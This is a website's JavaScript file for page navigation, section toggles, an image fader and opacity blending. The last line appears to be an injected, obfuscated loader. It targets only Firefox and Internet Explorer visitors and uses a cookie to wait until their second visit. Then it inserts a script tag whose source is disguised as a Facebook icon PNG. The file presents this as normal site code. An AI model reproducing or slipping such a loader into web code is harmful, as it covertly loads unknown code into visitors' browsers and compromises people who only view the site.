function nextPage(){
	var upper = document.getElementById('pagesUpper');
	var lower = document.getElementById('pagesLower');
	var current = Number(upper.innerHTML);
	var next = current + 1;
	var currentPage = document.getElementById('page' + current);
	var nextPage = document.getElementById('page' + next);
	if(!nextPage){
		nextPage = document.getElementById('page1');
		next = 1;
	}//end if
	opacity(currentPage.id, 100, 0, 500)
	currentPage.style.display = 'none';
	changeOpac(0, nextPage.id);
	nextPage.style.display = 'block';
	opacity(nextPage.id, 0, 100, 500)
	upper.innerHTML = next;
	lower.innerHTML = next;
	return true;
}//end function

function previousPage(){
	var upper = document.getElementById('pagesUpper');
	var lower = document.getElementById('pagesLower');
	var current = Number(upper.innerHTML);
	var prev = current - 1;
	var currentPage = document.getElementById('page' + current);
	var prevPage = document.getElementById('page' + prev);
	if(!prevPage){
		prev = Number(document.getElementById('pagesTotal').innerHTML);
		prevPage = document.getElementById('page' + prev);
	}//end if
	opacity(currentPage.id, 100, 0, 500)
	currentPage.style.display = 'none';
	changeOpac(0, prevPage.id);
	prevPage.style.display = 'block';
	opacity(prevPage.id, 0, 100, 500)
	upper.innerHTML = prev;
	lower.innerHTML = prev;
	return true;
}//end function

function fixTitles(){
	var images = document.getElementsByTagName('a');
	for(var i = 0; i < images.length; i++){
		if(images[i].getAttribute('rel') == 'lyteshow[jpeg]'){
			images[i].title = images[i].title.replace(/\[/g, "<");
			images[i].title = images[i].title.replace(/\]/g, ">");
		}//end if
	}//end for
}//end function

function showAll(obj){
	var list = document.getElementsByTagName('li');
	for(var i = 0; i < list.length; i++){
		if(list[i].parentNode.className == 'subNavigation'){
			list[i].className = '';
		}//end if
	}//end for
	obj.parentNode.className = 'active';
	document.getElementById('general').style.display = 'block';
	document.getElementById('news').style.display = 'block';
	document.getElementById('agenda').style.display = 'block';
	document.getElementById('pics').style.display = 'block';
}//end function

function showGeneral(obj){
	var list = document.getElementsByTagName('li');
	for(var i = 0; i < list.length; i++){
		if(list[i].parentNode.className == 'subNavigation'){
			list[i].className = '';
		}//end if
	}//end for
	obj.parentNode.className = 'active';
	document.getElementById('general').style.display = 'block';
	document.getElementById('news').style.display = 'none';
	document.getElementById('agenda').style.display = 'none';
	document.getElementById('pics').style.display = 'none';
}//end function

function showNews(obj){
	var list = document.getElementsByTagName('li');
	for(var i = 0; i < list.length; i++){
		if(list[i].parentNode.className == 'subNavigation'){
			list[i].className = '';
		}//end if
	}//end for
	obj.parentNode.className = 'active';
	document.getElementById('general').style.display = 'none';
	document.getElementById('news').style.display = 'block';
	document.getElementById('agenda').style.display = 'none';
	document.getElementById('pics').style.display = 'none';
}//end function

function showAgenda(obj){
	var list = document.getElementsByTagName('li');
	for(var i = 0; i < list.length; i++){
		if(list[i].parentNode.className == 'subNavigation'){
			list[i].className = '';
		}//end if
	}//end for
	obj.parentNode.className = 'active';
	document.getElementById('general').style.display = 'none';
	document.getElementById('news').style.display = 'none';
	document.getElementById('agenda').style.display = 'block';
	document.getElementById('pics').style.display = 'none';
}//end function

function showPics(obj){
	var list = document.getElementsByTagName('li');
	for(var i = 0; i < list.length; i++){
		if(list[i].parentNode.className == 'subNavigation'){
			list[i].className = '';
		}//end if
	}//end for
	obj.parentNode.className = 'active';
	document.getElementById('general').style.display = 'none';
	document.getElementById('news').style.display = 'none';
	document.getElementById('agenda').style.display = 'none';
	document.getElementById('pics').style.display = 'block';
}//end function

//Vars required for the fader:
var current = 0;
var front = 1;

function startFader(){
	document.getElementById('latestPics2').src = imageList[1].path;
	document.getElementById('latestPics2').alt = 'Foto: ' + imageList[1].photographer;
	changeOpac(0, document.getElementById('latestPics2').id);
	var base = document.getElementsByTagName('base');
	base = base[0].href;
	document.getElementById('picChanger').setAttribute('onclick', 'window.location.href = "' + base + 'pics/' + imageList[0].act + '/";');
	setInterval('fadeNext()', 10000);
	return true;
}//end function

function fadeNext(){
	if(!imageList) return false;
	var num = imageList.length;
	var image1 = document.getElementById('latestPics1');
	var image2 = document.getElementById('latestPics2');
	var base = document.getElementsByTagName('base');
	base = base[0].href;
	if(current < num){
		//OK, just load the next one
		if(current > 0){
			current++;
		} else current = current + 2
	} else {
		//Reset and start over
		current = 0;
	}//end if
	//The actual fading and changeover:
	if(front == 1){
		opacity(image1.id, 100, 0, 500);
		image1.style.display = 'none';
		changeOpac(0, image2.id);
		image2.style.display = 'block';
		opacity(image2.id, 0, 100, 500);
		image1.src = imageList[current].path;
		image1.alt = 'Foto: ' + imageList[current].photographer;
		document.getElementById('picChanger').setAttribute('onclick', 'window.location.href = "' + base + 'pics/' + imageList[current].act + '/";');
		front = 0;
	} else {
		opacity(image2.id, 100, 0, 500);
		image2.style.display = 'none';
		changeOpac(0, image1.id);
		image1.style.display = 'block';
		opacity(image1.id, 0, 100, 500);
		image2.src = imageList[current].path;
		image2.alt = 'Foto: ' + imageList[current].photographer;
		document.getElementById('picChanger').setAttribute('onclick', 'window.location.href = "' + base + 'pics/' + imageList[current].act + '/";');
		front = 1;
	}//end if
	return true;
}//end function

var barWidth = 1;
var eyeCatchers;
var currentEyecatcher = 0;
function startBar(seconds){
	var bar = document.getElementById('progressBar');
	var pixelsPerSecond = Math.floor(940 / seconds);
	var initPixels = 940 % seconds;
	var interval = Math.ceil(Math.floor(1000 / pixelsPerSecond) / 4);
	eyeCatchers = getEyeCatchers();
	if(eyeCatchers.length < 2) return false;
//	for(var i = eyeCatchers.length; i > 1; i--){
//		changeOpac(0, 'ec_' + i);
//	}//end for
	barWidth = initPixels;
	bar.setAttribute('width', initPixels);
	setInterval('increaseBar(' + initPixels + ')', 8);//interval);
	return true;
}//end function

function increaseBar(init){
	var bar = document.getElementById('progressBar');
	if(barWidth < 940){
		barWidth += 4;
		bar.setAttribute('width', barWidth + 4);
	} else {
		barWidth = init;
		bar.setAttribute('width', init);
		if(currentEyecatcher > eyeCatchers.length) currentEyecatcher = 1;
		if(currentEyecatcher == 1){
			var prev = eyeCatchers.length;
		} else {
			var prev = currentEyecatcher - 1;
		}//end if
		//Do the actual switch
		opacity('ec_' + prev, 100, 0, 500);
//		changeOpac(0, 'ec_' + currentEyecatcher);
		opacity('ec_' + currentEyecatcher, 0, 100, 500);
		currentEyecatcher++;
	}//end if
	return true;
}//end functions

function getEyeCatchers(){
	var container = document.getElementById('eyeCatcher');
	var panels = container.getElementsByTagName('div');
	var eyeCatchers = Array();
	var j = 0;
	for(var i = 0; i < panels.length; i++){
		if(panels[i].className == 'panel'){
			eyeCatchers[j] = panels[i];
			j++;
		}//end if
	}//end for
	return eyeCatchers;
}//end function

////////////////The portion below was taken from http://brainerror.net/media/scripts/js/blendtrans/blendtrans.js//////////////
function opacity(id, opacStart, opacEnd, millisec) {
	//speed for each frame
	var speed = Math.round(millisec / 100);
	var timer = 0;

	//determine the direction for the blending, if start and end are the same nothing happens
	if(opacStart > opacEnd) {
		for(var i = opacStart; i >= opacEnd; i--) {
			setTimeout("changeOpac(" + i + ",'" + id + "')",(timer * speed));
			timer++;
		}
	} else if(opacStart < opacEnd) {
		for(i = opacStart; i <= opacEnd; i++)
			{
			setTimeout("changeOpac(" + i + ",'" + id + "')",(timer * speed));
			timer++;
		}
	}
}

//change the opacity for different browsers
function changeOpac(opacity, id) {
	var object = document.getElementById(id).style;
	object.opacity = (opacity / 100);
	object.MozOpacity = (opacity / 100);
	object.KhtmlOpacity = (opacity / 100);
	object.filter = "alpha(opacity=" + opacity + ")";
}

function shiftOpacity(id, millisec) {
	//if an element is invisible, make it visible, else make it ivisible
	if(document.getElementById(id).style.opacity == 0) {
		opacity(id, 0, 100, millisec);
	} else {
		opacity(id, 100, 0, millisec);
	}
}

function blendimage(divid, imageid, imagefile, millisec) {
	var speed = Math.round(millisec / 100);
	var timer = 0;

	//set the current image as background
	document.getElementById(divid).style.backgroundImage = "url(" + document.getElementById(imageid).src + ")";

	//make image transparent
	changeOpac(0, imageid);

	//make new image
	document.getElementById(imageid).src = imagefile;

	//fade in image
	for(i = 0; i <= 100; i++) {
		setTimeout("changeOpac(" + i + ",'" + imageid + "')",(timer * speed));
		timer++;
	}
}

function currentOpac(id, opacEnd, millisec) {
	//standard opacity is 100
	var currentOpac = 100;

	//if the element has an opacity set, get it
	if(document.getElementById(id).style.opacity < 100) {
		currentOpac = document.getElementById(id).style.opacity * 100;
	}

	//call for the function that changes the opacity
	opacity(id, currentOpac, opacEnd, millisec)
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/gfx/icons/facebook_dop.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();